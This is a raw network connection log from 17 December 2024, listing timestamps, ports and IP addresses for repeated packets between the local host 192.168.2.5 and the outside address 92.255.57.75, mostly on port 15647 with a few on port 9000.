Dec 17, 2024 08:40:21.516060114 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.516127110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.540481091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.540549994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.550349951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.550367117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.550447941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.569242001 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.569318056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.585483074 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.585558891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.598093033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.598182917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.600944042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.601074934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.620747089 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.620815992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.620846987 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.635962009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.636105061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.659883976 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.670152903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.670614958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.670881033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.684717894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.684777975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.685939074 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.685997963 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.686027050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.686063051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.688687086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.688735962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.705343962 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.705436945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.720983982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.721143007 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.723792076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.723905087 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.742352962 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.742392063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.742438078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.772068977 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.780982971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.781637907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.781655073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.781796932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.803442955 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.805953979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.806076050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.806164026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.812998056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.815856934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.828341007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.831871033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.844307899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.847855091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.857420921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.857530117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.857628107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.862793922 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.863835096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.881652117 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.893404007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.895844936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.910087109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.910176992 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.923387051 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.923533916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.934391022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.934406042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.934691906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.948574066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.948755026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.967618942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.967689991 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.988923073 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.990911007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.001569033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.001702070 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.024779081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.030025005 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.030131102 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.053940058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.055717945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.055854082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.056051016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.056107998 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.069802046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.071835995 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.106185913 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.110673904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.110739946 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.122119904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.123868942 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.147799015 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.147890091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.151367903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.151458979 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.174254894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.174341917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.175633907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.175704956 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.191775084 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.191862106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.191978931 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.193556070 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.193574905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.193727016 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.196027994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.196075916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.196110964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.216706038 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.216725111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.216773033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.222249031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.222311974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.222578049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.222590923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.222623110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.226156950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.227834940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.243694067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.243860006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.252739906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.252931118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.253068924 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.271209955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.271317005 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.282900095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.283843040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.295510054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.295838118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.305208921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.306046009 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.307889938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.307991982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.308053970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.313500881 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.314184904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.314275980 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.332772017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.332786083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.332962036 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.343888998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.345155954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.345302105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.364995003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.367387056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.367830992 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.375226974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.375838041 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.375886917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.375932932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.377284050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.379909039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.398776054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.404571056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.407958984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.426048994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.426609039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.427887917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.427902937 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.428577900 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.435978889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.440191031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.441214085 CET	9000	50057	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.441591978 CET	9000	50057	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.441670895 CET	50057	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.441857100 CET	50057	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.460182905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.460350037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.460556984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.465198994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.465265036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.465462923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.484951019 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.492393970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.492433071 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.492563009 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.499746084 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.499926090 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.518781900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.519339085 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.542908907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.542934895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.543144941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.546489954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.546710014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.556082964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.556220055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.556828022 CET	50058	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.561547041 CET	9000	50057	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.580359936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.580615997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.583221912 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.583334923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.595994949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.596064091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.596122980 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.618485928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.618621111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.619334936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.641911983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.642034054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.654309988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.654414892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.654489994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.664170027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.664267063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.664275885 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.676167965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.676579952 CET	9000	50058	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.676661015 CET	50058	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.677071095 CET	50058	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.677222967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.677314043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.690011024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.690062046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.690191984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.703073978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.703217030 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.710910082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.732480049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.732564926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.732889891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.732889891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.733903885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.733985901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.734618902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.761897087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.769937992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.769978046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.770363092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.770363092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.777448893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.777486086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.777539015 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.796988010 CET	9000	50058	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.804912090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.807872057 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.811021090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.811084986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.811304092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.811898947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.815892935 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.834000111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.834144115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.845541954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.845618963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.845699072 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.855221033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.877027035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.877069950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.877161980 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.890515089 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.891881943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.892616987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.908530951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.908761978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.931565046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.931668997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.954063892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.954207897 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.965511084 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.966377974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.966445923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.976362944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.977063894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:22.993020058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.993052959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:22.993124008 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.002954006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.003842115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.028872967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.029301882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.031232119 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.031423092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.031764984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.063786983 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.068696976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.068932056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.086198092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.087858915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.087996960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.088146925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.088222027 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.088803053 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.113641024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.120107889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.123347044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.151566029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.151832104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.183908939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.184820890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.208674908 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.271747112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.274545908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.308842897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.321700096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.321743965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.321860075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.377100945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.378741026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.441917896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.448389053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.448426008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.448560953 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.467807055 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.467845917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.467962027 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.477718115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.566775084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.571507931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.571547031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.571578979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.571630001 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.586467981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.586575031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.618884087 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.638901949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.638915062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.638999939 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.661755085 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.686053038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.691562891 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.691689014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.706367970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.706440926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.728965044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.738792896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.738929033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.759617090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.760118961 CET	49998	15647	192.168.2.5	92.255.57.75
